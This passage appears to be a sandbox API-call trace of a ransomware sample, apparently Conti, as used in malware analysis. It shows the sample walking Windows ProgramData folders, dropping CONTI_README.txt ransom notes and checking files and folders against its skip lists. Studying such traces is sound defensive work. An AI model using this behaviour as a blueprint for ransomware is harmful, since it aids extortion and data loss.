	[0106.609] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\"
	[0106.609] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime"
	[0106.609] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned 89
	[0106.609] GetProcessHeap () returned 0x1720000
	[0106.609] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.609] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime"
	[0106.609] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*"
	[0106.609] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned 89
	[0106.609] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.609] GetProcessHeap () returned 0x1720000
	[0106.609] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c3778
	[0106.609] lstrcpyW (in: lpString1=0x17c3778, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime"
	[0106.609] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\"
	[0106.609] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.609] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0106.610] GetProcessHeap () returned 0x1720000
	[0106.610] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3778 | out: hHeap=0x1720000) returned 1
	[0106.610] WriteFile (in: hFile=0x3c4, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.611] CloseHandle (hObject=0x3c4) returned 1
	[0106.611] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8470
	[0106.611] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.612] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.612] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.612] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.612] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fdcb85, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fdcb85, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fdcb85, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1bae, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1
	[0106.612] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2=".") returned 1
	[0106.612] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2="..") returned 1
	[0106.612] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.612] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.612] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".exe") returned 0x0
	[0106.612] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".dll") returned 0x0
	[0106.612] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".lnk") returned 0x0
	[0106.612] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".sys") returned 0x0
	[0106.612] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.612] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.612] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned 89
	[0106.612] lstrlenW (lpString="0__Power_EnergyEstimationEngine.provxml") returned 39
	[0106.612] GetProcessHeap () returned 0x1720000
	[0106.612] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x104) returned 0x181e6b8
	[0106.612] lstrcpyW (in: lpString1=0x181e6b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime"
	[0106.612] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\"
	[0106.612] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\", lpString2="0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.612] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53637b78, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53637b78, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.612] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.612] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.612] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.612] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.612] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53637b78, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53637b78, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.612] GetProcessHeap () returned 0x1720000
	[0106.612] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.613] FindClose (in: hFindFile=0x17c8470 | out: hFindFile=0x17c8470) returned 1
	[0106.613] GetProcessHeap () returned 0x1720000
	[0106.613] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.613] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.613] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.613] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.613] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.613] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.613] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.613] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.613] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.613] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.613] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.613] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.613] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned 81
	[0106.613] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.613] GetProcessHeap () returned 0x1720000
	[0106.613] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510780
	[0106.613] lstrcpyW (in: lpString1=0x6510780, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov"
	[0106.613] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\"
	[0106.613] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml"
	[0106.613] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.613] GetProcessHeap () returned 0x1720000
	[0106.613] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6587ca0 | out: hHeap=0x1720000) returned 1
	[0106.613] FindClose (in: hFindFile=0x17c7fb0 | out: hFindFile=0x17c7fb0) returned 1
	[0106.614] GetProcessHeap () returned 0x1720000
	[0106.614] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.614] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.614] GetProcessHeap () returned 0x1720000
	[0106.614] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e6c0 | out: hHeap=0x1720000) returned 1
	[0106.614] FindClose (in: hFindFile=0x17c8370 | out: hFindFile=0x17c8370) returned 1
	[0106.614] GetProcessHeap () returned 0x1720000
	[0106.614] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f098 | out: hHeap=0x1720000) returned 1
	[0106.614] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2=".") returned 1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="..") returned 1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="tmp") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="winnt") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="Application Data") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="AppData") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="temp") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="thumb") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="$Recycle.Bin") returned 1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="$RECYCLE.BIN") returned 1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="System Volume Information") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="Program Files") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="Program Files (x86)") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="Boot") returned -1
	[0106.614] lstrcmpiW (lpString1="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="Windows") returned -1
	[0106.614] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.614] lstrlenW (lpString="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 38
	[0106.614] GetProcessHeap () returned 0x1720000
	[0106.614] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173f1e8
	[0106.614] lstrcpyW (in: lpString1=0x173f1e8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.614] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.614] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}"
	[0106.615] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 76
	[0106.615] GetProcessHeap () returned 0x1720000
	[0106.615] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173e810
	[0106.615] lstrcpyW (in: lpString1=0x173e810, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}"
	[0106.615] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*"
	[0106.615] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned 76
	[0106.615] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.615] GetProcessHeap () returned 0x1720000
	[0106.615] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6511590
	[0106.615] lstrcpyW (in: lpString1=0x6511590, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}"
	[0106.615] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\"
	[0106.615] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\CONTI_README.txt"
	[0106.615] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.617] GetProcessHeap () returned 0x1720000
	[0106.617] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6511590 | out: hHeap=0x1720000) returned 1
	[0106.617] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.617] CloseHandle (hObject=0x3a8) returned 1
	[0106.618] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0106.618] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.618] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.618] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.618] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.618] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53637b78, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x53637b78, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x53637b78, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.618] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.618] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.618] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.618] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
